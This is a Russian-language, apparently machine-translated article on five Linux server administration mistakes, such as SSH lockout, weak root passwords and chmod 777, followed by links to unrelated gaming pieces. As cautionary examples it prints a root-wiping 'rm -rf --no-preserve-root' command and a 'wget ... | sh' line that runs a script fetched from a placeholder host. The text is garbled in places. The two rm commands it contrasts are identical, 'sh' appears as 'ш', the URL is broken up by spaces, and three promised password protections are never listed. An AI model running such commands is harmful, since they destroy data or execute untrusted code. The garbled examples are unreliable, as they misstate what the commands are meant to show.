Команды Linux

Пять ошибок администрирования Linux Server и как их избежать

Пять ошибок администрирования Linux Server и как их избежать
В 2017 году сотрудника GitLab, платформы для управления версиями, попросили реплицировать базу данных производственных данных. Из-за ошибки конфигурации репликация не сработала должным образом, поэтому сотрудник решил удалить переданные данные и повторить попытку. Он выполнил команду для удаления ненужных данных, но с нарастающим ужасом понял, что ввел команду в сеанс SSH, подключенный к производственному серверу, удалив сотни гигабайт пользовательских данных. Каждый опытный системный администратор может рассказать вам похожую историю.

Командная строка Linux дает администраторам серверов контроль над своими серверами и данными, хранящимися на них, но мало что делает, чтобы помешать им запускать деструктивные команды с последствиями, которые нельзя отменить. Случайное удаление данных - лишь одна из ошибок, которую допускают новые администраторы сервера.

Блокировка ключей внутри

Администраторы серверов подключаются к серверам с помощью SSH, службы, которая обычно работает на порту 22, обеспечивая оболочку для входа в систему, через которую аутентифицированные пользователи могут запускать команды на удаленных серверах. Стандартный шаг по усилению безопасности - настроить SSH для приема подключений через другой порт. Перенос SSH на случайный порт с большим номером ограничивает влияние атак методом грубой силы; хакеры не могут попытаться злонамеренно войти в систему, если не могут найти порт, на котором прослушивает SSH.

Однако администратор, который настраивает SSH для прослушивания на другом порту, а затем перезапускает SSH-сервер, может обнаружить, что заблокированы не только хакеры. Если брандмауэр сервера также не перенастроен для разрешения подключений через новый порт, попытки подключения никогда не достигнут SSH-сервера. Администратор будет заблокирован для доступа к своему серверу без возможности решить проблему, кроме как открыть заявку в службу поддержки своего хостинг-провайдера. Если вы измените порт SSH, обязательно откройте новый порт в конфигурации брандмауэра вашего сервера.

Выбор легко угадываемого пароля

Атаки грубой силы - это игра в угадывание. Злоумышленник пробует множество имен пользователей и паролей, пока не найдет комбинацию, позволяющую им войти. Атака по словарю - это более совершенный подход, использующий списки паролей, часто взятые из просочившихся баз данных паролей. Атаки на учетную запись root проще, чем на другие учетные записи, потому что злоумышленник уже знает имя пользователя. Если у учетной записи root есть простой пароль, то ее можно будет взломать в кратчайшие сроки.

Существует три способа защиты учетной записи root как от грубой силы, так и от атак по словарю.

Копирование команд, которые вы не понимаете

Stack Exchange, Server Fault и подобные сайты - это спасательный круг для новых системных администраторов Linux, но вам следует избегать соблазна скопировать и вставить команду оболочки, которую вы не понимаете. В чем разница между этими двумя командами?

sudo rm -rf --no-preserve-root / mnt / mydrive /
sudo rm -rf --no-preserve-root / mnt / mydrive /

Легко увидеть, когда они отображаются вместе, но не так просто, когда вы просматриваете форумы в поисках команды для удаления содержимого смонтированного тома. Первая команда удаляет все файлы на смонтированном диске. Вторая команда удаляет эти файлы а также все в корневой файловой системе сервера. Единственная разница - это пробел перед последней косой чертой.

Администраторы серверов могут столкнуться с длинными командами с конвейерами, которые, как говорят, делают одно, а делают совсем другое. Будьте особенно осторожны с командами, которые загружают код из Интернета.

wget http: // пример.com / verybadscript -O - | ш -

Эта команда использует wget для загрузки сценария, который передается в оболочку и выполняется. Чтобы выполнить это безопасно, вы должны понимать, что делает команда, а также то, что делает загруженный сценарий, включая любой код, который загруженный сценарий может сам загрузить.

Вход в систему как root

В то время как обычные пользователи могут изменять файлы только в своей домашней папке, на сервере Linux мало что не может сделать пользователь root. Он может запускать любое программное обеспечение, читать любые данные и удалять любые файлы.

Приложения, запускаемые пользователем root, обладают аналогичной мощностью. Удобно войти в систему как пользователь root, потому что вам не нужно постоянно «sudo» или «su», но это опасно. Опечатка может уничтожить ваш сервер за секунды. Программное обеспечение с ошибками, запускаемое пользователем root, может привести к катастрофе. Для повседневных операций войдите в систему как обычный пользователь и повышайте привилегии до root только при необходимости.

Не изучаются разрешения файловой системы

Разрешения файловой системы могут сбивать с толку и расстраивать новых пользователей Linux. Строка разрешений, такая как «drwxr-xr-x», поначалу кажется бессмысленной, и разрешения могут помешать вам изменять файлы и мешать программе делать то, что вы хотите.

Системные администраторы быстро понимают, что chmod 777 - это волшебное заклинание, которое решает большинство этих проблем, но это ужасная идея. Это позволяет всем, у кого есть учетная запись, читать, писать и выполнять файл. Если вы запустите эту команду в каталоге веб-сервера, вас попросят взломать. Права доступа к файлам в Linux выглядят сложными, но если вы потратите несколько минут, чтобы узнать, как они работают, вы откроете для себя логичную и гибкую систему управления доступом к файлам.

В эпоху, когда простой пользовательский интерфейс ценится выше всех других факторов, командная строка Linux остается чрезвычайно сложной и устойчивой к упрощению. Вы не можете путаться и надеяться, что все будет хорошо. Это не будет хорошо, и вы закончите с катастрофой в ваших руках.

Но если вы изучите основы - разрешения для файлов, инструменты командной строки и их параметры, лучшие практики безопасности - вы сможете стать мастером одной из самых мощных вычислительных платформ, когда-либо созданных.

Как загрузить и играть в Sid Meier's Civilization VI в Linux
Введение в игру Civilization 6 - это современный подход к классической концепции, представленной в серии игр Age of Empires. Идея была довольно просто...
Как установить Doom и играть в него в Linux
Введение в Doom Серия Doom возникла в 90-х годах после выхода оригинальной Doom. Это мгновенно стал хитом, и с тех пор серия игр получила множество на...
Vulkan для пользователей Linux
С каждым новым поколением видеокарт мы видим, как разработчики игр расширяют границы графической точности и приближаются на шаг ближе к фотореализму. ...